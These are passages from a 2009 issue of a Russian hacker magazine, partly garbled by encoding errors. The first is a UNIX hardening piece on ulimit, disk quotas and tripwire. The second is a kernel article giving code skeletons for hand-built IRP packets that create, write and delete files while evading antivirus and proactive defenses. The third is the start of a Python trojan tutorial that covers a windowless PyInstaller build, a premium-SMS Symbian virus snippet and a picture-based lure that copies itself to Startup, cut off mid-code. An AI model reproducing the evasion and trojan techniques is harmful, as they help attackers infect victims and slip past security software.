«-i» в корневомXÀÊÅÐ 12 /132/ 09каталоге (touch /-i). Это заставит команду «rm-rf /*» спрашивать пользователя перед удалениемкаждого файла корневого каталога (rmпримет файл «-i» за флаг командной строки).ВРАГ ВНУТРИМожно долго выстраивать линию обороны, сподозрением относиться ко всему и вся, выдумыватьсложнейшие пароли, но если какая-тогадость попадет в систему, бороться с ней придетсяуже на ближних рубежах. В этом деле тебепомогут правильные права доступа, ограниченияи специальные утилиты, предназначенныедля контроля целостности системы.Любая UNIX-система позволяет накладыватьсамые разнообразные ограничения на процессыпользователей. Это может быть максимальноеколичество открытых файлов, максимальноеколичество процессов, приоритет процессов и т.д.Также существуют дисковые квоты, предназначенныедля ограничения занимаемого файламипользователя пространства на диске. Правильнаяустановка ограничений позволит запереть зловредныепроцессы в коробку, границы которой онине смогут нарушить, а следовательно, и навредитьсистеме. Ограничения особенно эффективны противразличных форк-бомб, плодящих бесконечноеколичество процессов и сжирающих память; программ,создающих массу файлов; decompressionбомби тому подобных «приложений».ОГРАНИЧИВАЕМРЕСУРСЫ ПРОЦЕССОВОграничения на процессы накладываются с помощьюкоманды ulimit. Запусти ее с флагом ‘-a’,чтобы увидеть текущие значения. Наиболееинтересны для нас строки:1. Строка «data seg size», флаг ‘-d’.Максимальный размер сегмента данных процесса.Обычно не ограничен, а это значит,что любой процесс может запросто отожратьсколько угодно оперативной памяти с помощьювызова malloc(). Трудно сказать, какимбудет оптимальное значение: одни программыпотребляют очень много памяти (например,Gimp, который хранит изображения, слои,историю и все остальное в сыром виде), другиеобходятся пару килобайтами. Стоит попробоватьзначение 20480 (20 Мб) и наращиватьего в случае необходимости.2. Строка «file size», флаг ‘-f’. Максимальнодопустимый размер создаваемого файла. Вбольшинстве систем значение не ограничено,а это значит, что любой пользовательский процессспособен создать файл, размер которогобудет ограничен только лимитами, заложеннымив файловую систему. Правильным значениембудет размер порядка 8 Гб, указанный вблоках файловой системы (обычно 4 Кб).3. Строка «open files», флаг ‘-n’. Максимальноеколичество одновременно открытых файлов. Вбольшинстве настольных систем установлено в1024, что очень разумно. Снятие ограничения приведетк тому, что процесс сможет открывать файлыдо тех пор, пока система не впадет в ступор.4. Строка «max user processes», флаг ‘-u’.Максимальное количество порождаемыхпользователем процессов. Обычно значениене ограничено, благодаря чему самая простаяфорк-бомба может разгуляться на всю катушку.В то же время установка лимита можетеще более усугубить ситуацию. Дело в том,что современное ядро Linux вполне способновыдержать действие форк-бомбы, оставаясьпри этом отзывчивым, а значит, позволитпользователю открыть терминал и убить вредныйпроцесс. Установив же ограничение, мыдобьемся того, что во время действия форкбомбыбудет достигнут лимит процессов, ипользователь уже не сможет запустить терминалили выполнить любую другую команду.В Linux предпочтительные значения ограниченийможно указывать не только с помощьювызова команды ulimit, но и используя конфигурационныйфайл /etc/security/limits.conf,формат которого следующий: Где — это имя пользователя, @группаили символ ‘*’ для всех. Столбец — типограничения (soft, hard или ‘-’ для обоих), — ограничиваемый ресурс, — значение. Для перечисленных выше четырехресурсов их имена для limits.conf будут выглядетькак data, fsize, nofile и nproc. Тип ограниченияhard используется для указания максимальногозначения, которое пользователь вправеустановить самостоятельно. Стоит сказать, чтоникакие комбинации ограничений не будут особенноэффективны против форк-бомб двойногодействия, — их порождают процессы, каждый изкоторых отжирает память в бесконечном цикле.Приведу пример: ты устанавливаешь ограничение«data seg size», но оставляешь неограниченным«max user processes». Форк-бомбаплодит процессы, и система остается доступной,но ровно до момента, пока ее процессы несожрут всю доступную память, а момент наступиточень быстро (причем вне зависимости отзначения «data seg size»!). Можно попытатьсярешить проблему, установив значение «dataseg size» в 20480, а «max user processes» в 128,что достаточно жестко и, на первый взгляд,эффективно. Однако после запуска форк-бомбыты получишь следующую картину: если бомбасможет породить хотя бы 100 процессов (допустим,что остальные 28 являются легальными),то общий объем съеденной памяти будет равен100*20480/1024 = 2000 Мб, а доступ к системеокажется заблокированным. Поэтому, как никрути, а финал один. Единственный выход:жесткие ограничения на «data seg size» и «maxuser processes», плюс постоянно открытыйшелл с правами root (ограничения на процессыкоторого сняты).УСТАНАВЛИВАЕМ КВОТЫОграничения на объем занимаемого дисковогопространства устанавливаются с использованиеммеханизма квот, который можетбыть активирован только суперпользователем.Квоты эффективны против файловых иdecompression-бомб, ставящих своей цельюпроизвести DoS через попытку полного заполненияфайловой системы.085


UNIXOIDinodeHard — æåñòêèé ëèìèò íà êîëè÷åñòâîinodeФайл /etc/security/limits.conf в UbuntuПоддержка квот реализована на уровне ядра,но для управления их установкой и снятиемпоказаний предназначены специальныеутилиты, обычно распространяемые в пакетеquota. Поэтому сначала следует установитьэтот пакет:$ sudo apt-get install quotaС помощью команды quotacheck позволяем системенайти файлы квот и связать их с файловойсистемой:# quotacheckЗапускаем edquota, чтобы настроить ограничениядля указанного пользователя:Исторически ядра UNIX позволяют задавать дваограничения для каждого пользователя: мягкоеи жесткое. Сделано так, чтобы пользователь,превысивший мягкое ограничение, смог узнатьоб этом (получив сообщение в консоль) и успелпринять меры по очистке своих каталогов передтем, как истечет так называемый «период отсрочки»,и мягкое ограничение превратится в жесткое.Само собой разумеется, что в современном миреподобный наивный подход не действует, поэтомужесткое ограничение обычно устанавливаютв ноль, чтобы ограничение мягкое изначальностановилось жестким, и пользователь не могего превысить. Последуем этому примеру и мы.Ограничим самого себя 50 гигами (50 * 1024 * 1024= 52428800), а максимальное количество файловустановим в 2000:# edquota -u xakepDisk quotas for user xakep (uid1001):Filesystem blocks soft hard inodessoft hard/dev/sda2 2043743 52428800 0 1622000 0Далее переходим в однопользовательскийрежим:$ sudo bash# init 1И добавляем к опциям монтируемых файловыхсистем слово usrquota в файле /etc/fstab:/dev/sda2 /home ext3defaults,usrquota 1 1Перемонтируем /home, чтобы изменения вступилив силу:# mount -o remount /homeСоздаем файл квот, в котором будут хранитьсятекущие ограничения:# touch /home/aquota.user# chmod 600 /home/aquota.userÒÐÈ ÑÎÂÅÒÀ# edquota -u Команда активирует редактор, используя которыйнеобходимо отредактировать настройкиквот. Формат файла следующий: одна строка— одна файловая система. Строка разбита наразделенные пробелом и следующие друг задругом поля:ПОЛЯ EDQUOTAFilesystem — ôàéëîâàÿ ñèñòåìà (èìÿðàçäåëà, íà êîòîðîì îíà ðàñïîëàãàåòñÿ)Blocks — êîëè÷åñòâî áëîêîâ, èñïîëüçóåìûõïîëüçîâàòåëåì â äàííûé ìîìåíò(áëîê ðàâåí îäíîìó êèëîáàéòó)Soft — ìÿãêèé ëèìèò íà êîëè÷åñòâîèñïîëüçóåìûõ áëîêîâHard — æåñòêèé ëèìèò íà êîëè÷åñòâîèñïîëüçóåìûõ áëîêîâInodes — êîëè÷åñòâî inode (ôàéëîâ),èñïîëüçóåìûõ ïîëüçîâàòåëåìSoft — ìÿãêèé ëèìèò íà êîëè÷åñòâî1. Следи за правами доступа. Все важные системные файлы настроек должны бытьдоступны для чтения и записи только суперпользователю. К файлам твоего домашнегокаталога должен иметь доступ только ты (права 600). Этого легко добиться, просто указавправильную маску прав доступа в ~/.profile или ~/.bashrc (umask 077).2. Не помещай себя во множество разных системных групп вроде operator, audio и т.д. Этосоздает брешь в безопасности и наделяет тебя особыми полномочиями, которые могутбыть использованы для западла.3. Права root нужны только тогда, когда они действительно нужны. Не «сиди» под root’ом,не заходи в систему под root’ом, старайся не запускать команды от имени root. При необходимостииспользуй sudo.086Поля blocks и inodes оставляем неизменными,а оба поля hard устанавливаем в 0. Выходим изоднопользовательского режима, набрав:# init 5Это все. С лимитом на inode, конечно, придетсяповозиться перед тем, как ты найдешьоптимальное для себя значение, но отключатьего тоже нельзя, ведь некоторые разновидностифайловых бомб создают огромное количествопустых файлов, которые не занимают места надиске, но приводят к исчерпанию лимита inodeсамой файловой системы.КОНТРОЛЬ ЦЕЛОСТНОСТИСИСТЕМЫКонтроль целостности системы представляетсобой метод обнаружения разного рода троянов,вирусов и тому подобной нечисти, путем созданиязаведомо правильного снимка файловой системыи последующей сверки его с текущим состояниемФС. Осуществлять контроль целостности можно ис помощью простых самописных скриптов, но дляLinux уже давно доступна система tripwire, котораяавтоматизирует эту работу и сводит процент ложныхсрабатываний к минимуму.Установить tripwire можно с помощью пакетногоменеджера любого дистрибутива. Например, вUbuntu это делается так:$ sudo apt-get install tripwireСразу после установки начнется процесс конфигурирования,который будет выводить на экран информационныеокна и задавать вопросы, на каж-XÀÊÅÐ 12 /132/ 09


Такое окно увидит пользователь, попытавшийсявойти в машину с заблокированнымэкраномФайл политик tripwireОшибки во время инициализации базыtripwire, файл политик придется правитьдый из которых следует отвечать «Yes». В конце ты увидишь дваприглашения к вводу пароля: site passphrase и local passphrase.Они оба используются для шифрования баз данных (снимков)и конфигурационных файлов, с той лишь разницей, что первыйможет быть использован сразу на нескольких машинах.После завершения конфигурирования установи правильныеправа на файлы конфигурации и политики:$ cd /etc/tripwire$ sudo chmod 0600 tw.cfg tw.polДалее ты можешь открыть файл политик /etc/tripwire/tw.pol,чтобы изменить правила обработки некоторых файлов. Вбольшинстве случаев менять ничего не придется, потому чторазработчики дистрибутивов сами составляют надлежащиефайлы политик. После закрытия редактора выполни следующуюкоманду:$ sudo twadmin --create-polfile --cfgfile ./tw.cfg \--site-keyfile ./site.key ./twpol.txtВсе, можно создать снимок файлов системы, который будетиспользоваться в качестве эталона во время поиска изменившихсяфайлов (в качестве пароля введи указанную вовремя установки «local passphrase»):$ sudo tripwire --init --cfgfile \/etc/tripwire/tw.cfg \--polfile /etc/tripwire/tw.pol--site-keyfile /etc/tripwire/site.key \--local-keyfile /etc/tripwire/HOSTNAMElocal.keyТеперь можно выполнить пробную проверку:$ tripwire --checkДефолтовые значения ulimit в UbuntuТакие проверки станут происходить каждый день (пакетавтоматически установил задание cron), а все отчеты обизменившихся файлах будет получать root на email.Ясно, что tripwire начнет дико орать даже после легальноймодификации файлов ОС (правка системных конфигов,установка пакетов и т.д.), поэтому после любого изменениясистемных файлов (включая файлы /root) следует обновлятьбазу:$ sudo tripwire --update -Z lowТакже есть специальная команда для обновления файлаполитик:$ sudo tripwire --update-policy--cfgfile ./tw.cfg --polfile \./tw.pol --site-keyfile ./site.key \--local-keyfile ./HOSTNAME-local.key \./twpol.txtПОСТСКРИПТУМКак ты смог убедиться, защита от посягательств на твоюсистему не требует специальных знаний, использования секретныхтехник или глубокого понимания UNIX. Все сводитсяк умению держать ОС и себя под контролем и ряду простыхправил, многие из которых описаны в статье. zINFOinfoДля большей безопасностиконфигурационныефайлыи файлы политикtripwire следует хранитьна Flash-брелке(и лучше в закриптованномвиде).WARNINGwarningНе устанавливайлимиты сразу длявсех пользователей.Это может привестик сбоям системныхутилит, в результатечего ОС перестанетзагружаться.XÀÊÅÐ 12 /132/ 09 087


CODINGАЛЕКСАНДР ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RUÎÁËÀÌÛÂÀÅÌÏÐÎÀÊÒÈÂÊÓÝËÅÃÀÍÒÍÛÉ ÎÁÕÎÄ ÏÐÎÀÊÒÈÂÍÎÉ ÇÀÙÈÒÛÍÀ ÓÐÎÂÍÅ ÍÓËÅÂÎÃÎ ÊÎËÜÖÀ Î×ÅÐÅÄÍÎÉ ÑÒÀÒÜÅ ÈÇ ÍÀØÅÃÎ ÖÈÊËÀ, ÏÎÑÂßÙÅÍÍÎÃÎ «ÍÓËÅÂÎÌÓ»ÊÎÄÈÍÃÓ, ÐÅ×Ü ÏÎÉÄÅÒ Î ÒÎÌ, ÊÀÊ, ÎÁËÀÄÀß ÁÀÇÎÂÛÌÈ ÇÍÀÍÈßÌÈÊÎÄÈÍÃÀ  ÍÓËÅÂÎÌ ÊÎËÜÖÅ, ÑÅÐÜÅÇÍÎ ÎÇÀÄÀ×ÈÒÜ ÐÀÇÐÀÁÎÒ×ÈÊÎÂÏÐÎÀÊÒÈÂÍÛÕ ÑÐÅÄÑÒ ÇÀÙÈÒÛ (Ñ ÔÀÉÐÂÎËÀÌÈ ÌÛ ÓÆÅÐÀÇÎÁÐÀËÈÑÜ, ÒÅÏÅÐÜ ÏÐÈØËÀ ÈÕ Î×ÅÐÅÄÜ).088XÀÊÅÐ 12 /132/ 09


Èтак, драйвера мы писать уже умеем и, казалось, бы, вот оно— счастье! Но не тут-то было. Начинающие драйверописатели,как правило, дальше DbgPrint’а в ядре не заходят.Со временем, научившись более или менее работать сNative-функциями ядра, вдруг начинаешь хотеть чего-тобольшего. И вот, нарыв где-то на бескрайних просторах интернетакод TDI-фильтра или функций работы с адресным пространством,радуешься, как ребенок. До тех пор, пока не узнаешь, что все твоиусилия наперед известны антивирям, проактивкам и файрволам.В настоящее время флагманы борьбы с малварью вкладываюточень значительные средства в разработку передовых программныхрешений (в первую очередь, ring0-based), которые представляютсобой сложные программные комплексы. И поверь мне, их разработчикизря свой хлеб не едят. Да, в ядре позволено все, но чтобы это«все» реализовать, нужно иметь за плечами несколько лет усердногокодинга в нулевом кольце, знать отладку кода, анализ крэшдампов,а также принципы работы проактивных защит. Опыт показывает, чтозадача выживания в ядре сильно усложняется контролем критическихядерных процессов со стороны всяческих «watchdog’ов» —стражей, выявляющих малейшую активность в ядре ОС.Для подобных проактивных защит, антивирусов и файрволов самыйраспространенный и зачастую единственный способ отследитьтелодвижения малвари в ядре — это перехват системных функций.К примеру, чтобы отследить создание и запуск процесса в ядресистемы, чаще всего проактивные защиты перехватывают системнуюфункцию ZwCreateProcess либо регистрируют свою callbackфункциюPsSetCreateProcessNotifyRoutine. Точно также загрузкасторонних dll в адресное пространство процесса отслеживается черезрегистрацию callback-функции PsSetLoadImageNotifyRoutine, азапись в адресное пространство — перехватом CreateRemoteThreadили ZwWriteVirtualMemory; вариантов множество. При этом перехватсистемных функций сводится либо к созданию «заглушки» для системнойфункции, либо к ее сплайсингу (встречается чаще). Это в томслучае, если перехватываемая функция находится в таблице SSDT —KeServiceDescriptorTable, экпортируется ядром или одним из драйверов.Гораздо реже встречается перехват неэкспортируемых функций,адрес которых в ядре находится поиском определенной последовательностибайт и вычисляется дизассемблером длин инструкций.А раз выживать в ядре как-то надо, то приходится искать хитропопыеспособы заставить ядро выполнять то, что тебе нужно, при этом непопадаясь на удочку всяких проактивок.Ниже я расскажу, как можно в ядре беспалевно организовать создание,открытие, чтение и запись файлов, да так, что ни одна из проактивныхзащит и носом не поведет!Î ×ÅÌ ÐÅ×Ü?Я не буду читать тебе лекции о мегасекретных функциях и особенностяхядра ОС Windows — обойдемся тем, что лежит на поверхности.Речь пойдет об основах коммуникационных взаимодействий в ядре— IRP-пакетах. IRP-пакет — это пакет запроса ввода/вывода (I/ORequest Packet). Он является основной формой передачи информациимежду ядром, драйверами и пользовательскими приложениями.У каждого IRP-пакета есть так называемые коды MajorFunction иMinorFunction. Архитектура ядра Windows предусматривает 28 Majorкодовдля IRP-пакета, их описание можно легко найти в библиисистемного разработчика С.Шрайбера «Недокументированные возможностиWindows 2000». В Windows DDK почему-то описаны не всеMajor-коды, а только чаще всего встречающиеся, но, тем не менее,все существующие IRP-коды ты сможешь найти в хидере ntddk.h.Кроме того, у IRP-пакета есть так называемые Minor-ные коды,которые более интересны и куда как более не документированы.К примеру, при коннекте на удаленный хост вызывающий процессчерез библиотеку Winsock посылает драйверу TCPIP.SYS IRP-пакетс Major-кодом IRP_MJ_INTERNAL_DEVICE_CONTROL и Minor-нымкодом TDI_CONNECT. Для драйвера tcpip.sys это будет руководствомк дальнейшим действиям.ЖИЗНЕННЫЙ ПУТЬ IRPДумаю, здесь особых проблем с восприятием возникнуть не должно.Вместе с тем, путь прохождения IRP-пакета по стеку драйверов невероятнотернист и непонятен для непосвященного взгляда, а разобратьсяв нем придется, если хочешь овладеть той техникой, котораяздесь описывается, хотя бы в самых общих чертах. IRP-пакет обрабатываетсядрайвером и для его «захвата» (слово некорректно, новполне подходит по смыслу) используется структура под названиемIO_STACK_LOCATION. Эта структура жизненно необходима при работес IRP-пакетами, и ни один драйвер, создающий или котролирующийIRP-пакеты, не обходится без ее использования. От себя добавлю —научиться правильно обрабатывать IRP-пакеты с выгодой для себя вовремя их прохождения в стеке драйверов — задача не из легких.Жизненный цикл IPR-пакета начинается с его создания I/O менеджером(корректнее будет сказать, что IRP-пакет все же создаетсяисполнительными модулями системы — ядром, драйверами и пр., I/Oменеджер в данном случае — собирательное понятие). НовыйIRP-пакет создается вызовом таких системных функций какIoBuildAsynchronousFsdRequest, IoBuildSynchronousFsdRequest,IoBuildDeviceIoControlRequest и IoAllocateIrp. Первые две функциипредназначены для работы с файловой системой, однако ничто непомешает нам вызывать их напрямую. IoBuildDeviceIoControlRequestпредназначен для создания IRP-пакетов с Major-кодом IRP_MJ_DEVICE_CONTROL и IRP_MJ_INTERNAL_DEVICE_CONTROL.IoAllocateIrp создает IRP-пакет любого типа.Если привести аналогию, то IRP-пакет сродни SMS-ке, посредствомкоторой ты можешь общаться со своими друзьями и даватьим какие-либо указания. Так, стоит послать SMS другу насчетсовместного распития пива или девушке для более интересноговремяпрепровождения — эта же SMS станет для них направлениемк действию. Ситуация с IRP-пакетами в ядре полностью аналогична— к примеру, чтобы создать файл, нужно послать драйверу файловойсистемы определенный IRP-пакет, получив который, он (т.е. драйвер)файл и создаст, основываясь на тех данных, который IRP-пакетпринес с собой. Функция CreateFile и ее «заглушка» в ntdll.dll —NtCreateFile сводятся именно к созданию такого пакета и передачеего драйверу ФС.Чтобы поглубже разобраться со структурой и прохождениемразличных IRP-пакетов в системе, можно воспользоваться замечательнойутилитой IRPTrace (которую я бережно выложилна диск). Она позволяет проконтролировать прохождениеIRP-пакетов по всем устройс твам, зарегистрированным вWindows, и является незаменимой, если хочешь быть в теме.Так что же нам помешает, не вызывая таких функций, какZwCreateFile/ZwReadFile/ZwWriteFile, собственными ручкамисоздать необходимый IRP-пакет и отправить его на исполнение?Ровным счетом ничего!XÀÊÅÐ 12 /132/ 09089


CODINGINFOinfoДля лучшего усвоениятемы настоятельнорекомендую к прочтениюкнигу УолтераОуни «ИспользованиеWindows DriverModel»; ее ты такжесможешь найти надиске.DVDdvdНа диске ты найдешьпрограммнуюреализацию драйвера,обладающегофункциональностью,описанной в статье,а также драйвер,позволяющий снятьхуки, установленныеповерх SSDT.HTTP://WWWlinksКачаем последнююверсию WinDbg —незаменимого отладчикаи анализаторакрэшдампов — http://msdl.microsoft.com/download/symbols/debuggers/dbg_x86_6.11.1.404.msi.СТРУКТУРА IRP-ПАКЕТАВероятно, ты подумаешь, что для контроля за созданиеми пересылкой IRP-пакетов разработчики проактивныхзащит могут организовать их перехват. Теоретическиэто возможно, однако перехват даст непосильную нагрузкуна антивирус, который окажется похороненнымпод лавиной IRP-пакетов, потому что таких в системеежесекундно создается несколько сотен, если не тысяч, ипроконтролировать их все — задача малореальная.Этим мы и воспользуемся — не вызывая системныхфункций мы ручками создадим нужный нам IRP-пакет,090XÀÊÅÐ 12 /132/ 09


codingпод те данные, что мы будем читать. Заполним IRP-пакетнужными значениями, не забыв указать флаг пакета, равныйIRP_READ_OPERATION. Создадим стек с полем MajorFunction,равным IRP_MJ_READ, и отправим пакет на выполнение. Воти все!ÏÈØÅÌ Â ÔÀÉËЕдинственное отличие от чтения файла будет во флагах, которыенужно назначить IRP-пакету — для записи в файл нам нужен флагIRP_WRITE_OPERATION.ДЛЯ ИЗУЧЕНИЯ IRP-ПАКЕТОВ В ПРИРОДЕ ТЕБЕПОНАДОБИТСЯ IRPTRACEнаделим его необходимой функциональностью и заставим системуего переварить!STEALTH-ÑÎÇÄÀÍÈÅ È ×ÒÅÍÈÅ ÔÀÉËÀДля того чтобы создать файл, не вызывая Native-функции ядраZwCreateFile (или реже — IoCreateFile), мы будем следовать оченьупрощенному алгоритму:1) Вызовом функции ObCreateObject с параметрами KernelModeи IoFileObjectType создадим основу файла — пустую структуруFILE_OBJECT.2) Заполним поля созданной структуры нужными нам значениями.3) Вызовом IoAllocateIrp создадим и заполним IRP-пакет с флагомIRP_CREATE_OPERATION и IRP_SYNCHRONOUS_API.4) Вызовом системной фукнции SeCreateAccessState определимправа доступа для создаваемого файла.5) Создадим стек для IRP-пакета с параметром MajorFunction, равнымIRP_MJ_CREATE, и отправим IRP-пакет драйверу на исполнение.Вот примерный скелет кода, реальный код ты можешь найти на диске:СОЗДАЕМ ФАЙЛ ЧЕРЕЗ IRP-ПАКЕТpIrp = IoAllocateIrp(DeviceObject->StackSize, FALSE);status = ObCreateObject(KernelMode, *IoFileObjectType,&objectAttributes, KernelMode, NULL,sizeof(FILE_OBJECT), 0, 0,(PVOID *)&fileObject);(...)fileObject->Type = IO_TYPE_FILE;(...)irp->Flags |= IRP_CREATE_OPERATION |IRP_SYNCHRONOUS_API;status = SeCreateAccessState(&accessState, &auxData, DesiredAccess,IoGetFileObjectGenericMapping());(...)stack = IoGetNextIrpStackLocation(irp);stack->MajorFunction = IRP_MJ_CREATE;(...)status = IoCallDriver(DeviceObject, irp);Чтение файла выглядит немного проще. При чтении файланам понадобится указатель на FILE_OBJECT для того файла,который нужно прочесть. Опять-таки создадим пустой IRPпакет,далее — вызовом IoAllocateMdl выделим кусок памятиXÀÊÅÐ 12 /132/ 09ПИШЕМ В ФАЙЛ ЧЕРЕЗ СОЗДАНИЕ IRP-ПАКЕТА:pIrp = IoAllocateIrp(deviceObject->StackSize, FALSE);pIrp->MdlAddress = IoAllocateMdl(Buffer, Length,FALSE, TRUE, NULL);(...)MmBuildMdlForNonPagedPool(pIrp->MdlAddress);(...)pIrp->Flags = IRP_WRITE_OPERATION;(...)stack = IoGetNextIrpStackLocation(pIrp);stack->MajorFunction = IRP_MJ_WRITE;(...)status = IoCallDriver(deviceObject, pIrp);Для полноты открывающейся взору картины могу добавить, что вдрайвере новичку может встретиться незнакомая на вид функция— IoSetCompletionRoutine. Она регистрирует особый обработчик —IoCompletion, который будет вызван, когда следующий по уровнюдрайвер закончит обработку нужного нам IRP-пакета. В нашем случаеэта функция нужна, если мы хотим увидеть и проконтролироватьвыполнение нашего IRP-пакета после прогулки по стеку драйверов.ÏÈØÅÌ Â ÔÀÉËДо смешного просто выглядит в ядре удаление файла — все, что намнужно, это вызвать функцию IoSetInformation с переданными ейпараметрами структуры FILE_DISPOSITION_INFORMATION. Правда,справедливости ради, надо сказать, что многие «файловые файрволы»,как их любят называть, ставят фильтры на устройства файловойсистемы, и подобный трюк для них — ерунда.FILE_DISPOSITION_INFORMATION fdi;status = ObReferenceObjectByHandle(FileHandle,0,*IoFileObjectType, KernelMode,&fileObject, NULL);deviceObject = IoGetRelatedDeviceObject(fileObject);fdi.DeleteFile = TRUE;status = IoSetInformation(fileObject,FileDispositionInformation,sizeof(FILE_DISPOSITION_INFORMATION), &fdi);ÇÀÊËÞ×ÅÍÈÅТаким же нехитрым образом можно вполне успешно совершатьмножество действий в ядре и обойтись без вызова основныхсистемных функций. Это позволит довольно безопасно существовать,а главное — выживать в ядре операционной системы, непривлекая внимания бдительных стражей — антивирей и проактивныхзащит.Ты можешь спросить: «а как же запись в адресное пространствопроцесса, являющегося основой удаленного внедрения кода? Какимобразом можно добиться этого, не привлекая внимания антивирейи проактивок?». «Неразрешимых задач нет, — отвечу я. — Из этойситуации можно выйти, задумавшись о перезаписи или подменеPTE для нужного процесса». Именно так, к примеру, работает руткитShadowWalker. Не бойся экспериментировать, удачного компилированияи да пребудет с тобой Сила!z091


CODINGРОМАН «PREDIDENTUA» ХОМЕНКО HTTP://TUTAMC.COM092XÀÊÅÐ 12 /132/ 09


ÒÐÎßÍ ÍÀ PYTHONÎÑÍÎÂÛ ÇËÎÂÐÅÄÍÎÃÎ ÊÎÄÈÍÃÀÍÀ PYTHON’E ÏÎÄ WINDOWS 7ÄÀ ÂÈÍ×È ÑÊÀÇÀË: «ÑÓÙÅÑÒÂÓÅÒ ÒÐÈ ÐÀÇÍÎÂÈÄÍÎÑÒÈ ËÞÄÅÉ:ÒÅ, ÊÒÎ ÂÈÄßÒ; ÒÅ, ÊÒÎ ÂÈÄßÒ, ÊÎÃÄÀ ÈÌ ÏÎÊÀÇÛÂÀÞÒ; È ÒÅ, ÊÒÎÍÅ ÂÈÄßÒ». ÏÐÈÌÅÍÈÒÅËÜÍÎ Ê ÍÀØÅÌÓ ÂÐÅÌÅÍÈ ß ÁÛ ÅÙÅ ÄÎÁÀÂÈËÃÐÓÏÏÓ: «ÒÅ, ÊÒÎ ÂÈÄßÒ ÂÑÅ, ÊÎÃÄÀ ÈÌ ÍÓÆÍλ. ×ÒÎÁÛ Â ÍÅÅÂÑÒÓÏÈÒÜ, ÍÓÆÍÎ ÓÌÅÒÜ ÏÎËÓ×ÀÒÜ ËÞÁÓÞ ÈÍÔÎÐÌÀÖÈÞ — ÝÒÎÓÌÅÍÈÅ ÌÛ È ÁÓÄÅÌ ÑÅÃÎÄÍß ÐÀÇÂÈÂÀÒÜ Ñ ÏÎÌÎÙÜÞ PYTHON.Âыбор языка для троян-кодинга — тема для вечных холиваров.Хардкорщики кричат, что лишь на Asm’е пишется что-то нормальное.Группа полу-хардкорщиков молится на Си. Поклонникипрактически покойного Delphi тоже не отстают.По большому счету, каждый из них прав, ведь всегда найдетсязадача, для которой конкретный язык подойдет идеально. В трояностроительномцеху Python’у также нашлось место, но пока оно ограниченолишь мобильными девайсами. Оно и понятно, ведь для запуска скриптанужен интерпретатор, который у жертв на «большом компьютере» обычноне бывает установлен. Кстати, не проблема — эту трудность мы с тобойсможем превозмочь. Кроме этого, нужно понимать, что Python’новскийтроян целесообразно использовать лишь для точечных атак. К примеру,для решения задачи типа «1 девчонка типа «блондинка» + одна аськатипа qip» :).PYINSTALLERНа сайте http://pyinstaller.org хостится важнейшая для нас на сегоднятулза. Она представляет собой набор скриптов, которые позволяютиз обычного py-скрипта сделать exe-шник. Скачивай ее с сайта илис диска и давай потестим. Допустим, ты распаковал ее на диск D:.Конфигурируем:D:\pyinstaller> Configure.pyТеперь для теста в папке D:\test\ создай питоновский скрипт test.py:print "OK"open("ok.txt", "w").write('ok')Создание exe-шника проходит в два этапа. Сначала скриптом Makespec.py записывается файл «spec» с параметрами «компиляции», а затем —скрипт Build.py создает непосредственно экзешник. Скрипт Makespec.py, кроме пути к py-файлу принимает много разных параметров, но намважны лишь эти:• «F», на выходе получим один лишь exe-шник;• «w», не показывать консоль, без этого параметра по умолчанию программазапускается с консольным окном;• «X», использовать UPX для сжатия exe;• «--icon=file.ico», использовать указанную иконку.Во время разработки желательно использовать только один параметр(«F») с целью создания отладочного режима, — чтобы в результате получилсяодин файл и окно, в котором мы бы видели свои ошибки. Проверяеми компилируем:PY2EXEВИРУС ПОД SYMBIANPyInstaller — íå åäèíñòâåííàÿ øòóêà äëÿ ñîçäàíèÿ exe èç py. Åñòüåùå ìîäóëü Py2exe. Îí ìîæåò áûòü èñïîëüçîâàí äëÿ ñîçäàíèÿwxPython, Tkinter, Pmw, PyGTK, pygame è ìíîãèõ äðóãèõ àâòîíîìíûõïðîãðàìì. Íî, ê ñîæàëåíèþ, ÿ íå íàøåë â íåì âîçìîæíîñòèñîçäàíèÿ ôàéëà-îäèíî÷êè. Äà è îí â èñïîëüçîâàíèè íåñêîëüêîñëîæíåå, ÷åì PyInstaller.Î÷åíü ìíîãî âèðóñîâ íàïèñàíî íà Python äëÿ òåëåôîíîâ ïîäSymbian. Âñåìó âèíîé ÷ðåçâû÷àéíàÿ ïðîñòîòà: åñëè òû õî÷åøü îòñûëàòüSMS’êè íà ñâîè ïëàòíûå íîìåðà, òî íóæíî íàïèñàòü âñåãîëèøü äâå ñòðî÷êè:import messagingmessaging.sms_send(u'02', u"Super SMS")XÀÊÅÐ 12 /132/ 09 093


CODINGWARNINGwarningПомни, что всяинформация, представленнаяв статье,служит исключительноознакомительнымцелям! Мы не несемответственности заиспользование описанныхтехнологийв противозаконныхцелях.DVDdvd•Подробно откомментированныеисходники учебноготроя с нетерпениемждут тебя на нашемкрутецком DVD.•Видео по «компиляции»и запускуПО также смотри надиске.HTTP://WWWlinks•Сайт PyInstaller:http://pyinstaller.org.•Сайт Py2exe: http://py2exe.org.094ПИТОН ДЛЯ САМЫХ МАЛЕНЬКИХ :)D:\pyinstaller> Makespec.py -F -w -X d:\test\test.pyD:\pyinstaller> Build.py d:\pyinstaller\test\test.specНесколько секунд ожидания… готово! Результат работыпокоится в папке d:\pyinstaller\test\dist\. Наш test.exe получилсяразмером в 2.4 Мб, и, если его запустить, то можетпоказаться, что ничего не сработало — окна нет. Однакоok.txt создается, а значит, все отлично работает.ÊÀÐÒÈÍÊÀ TO STRINGДля начала обеспечим нашей программе некий минимумправдоподобности. Обеспечить ее для блондинки довольнопросто — покажем ей красивую картинку, тут-то она и растает:). Поскольку все хозяйство у нас должно покоитьсяв одном py-файле, то картинку нужно будет сжать, а потомзакинуть в base64 (превратив в строку). Теперь — немножкопитоновской магии с объектом gzip.GzipFile, которому присоздании мы указываем, куда сохранять уже сжатые данные,и получаем код, который читает файл my.jpg, сжимает,кодирует функцией base64.encodestring в строку base64 иполученную строку-изображение сохраняет в rez_img.txt:import StringIO, gzip, base64zbuf = StringIO.StringIO()zfile = gzip.GzipFile(mode='wb', fileobj=zbuf)zfile.write(open(‘my.jpg’,'rb’).read())zfile.close()open('rez_img.txt', 'w').write(base64.encodestring(zbuf.getvalue()))Теперь, имея в своем распоряжении строку-картинку, мыможем приступить собственно к кодингу. В начале файла troj.py в переменную img мы поместим нашу картинку с rez_img.txt. Логика этого кода будет выглядеть примерно так (подробности— в сорце на диске):img = '''H4sIAMW28E...'''import sys#åñëè ìû çàïóùåíû ïåðâûé ðàçif (sys.argv[0].find(‘Startup’)==-1):#ñîçäàòü êàðòèíêó èç img è ïîêàçàòü åå#óçíàòü ïàïêó ñ àâòîçàãðóçêîé#ñêîïèðîâàòü ñåáÿ â 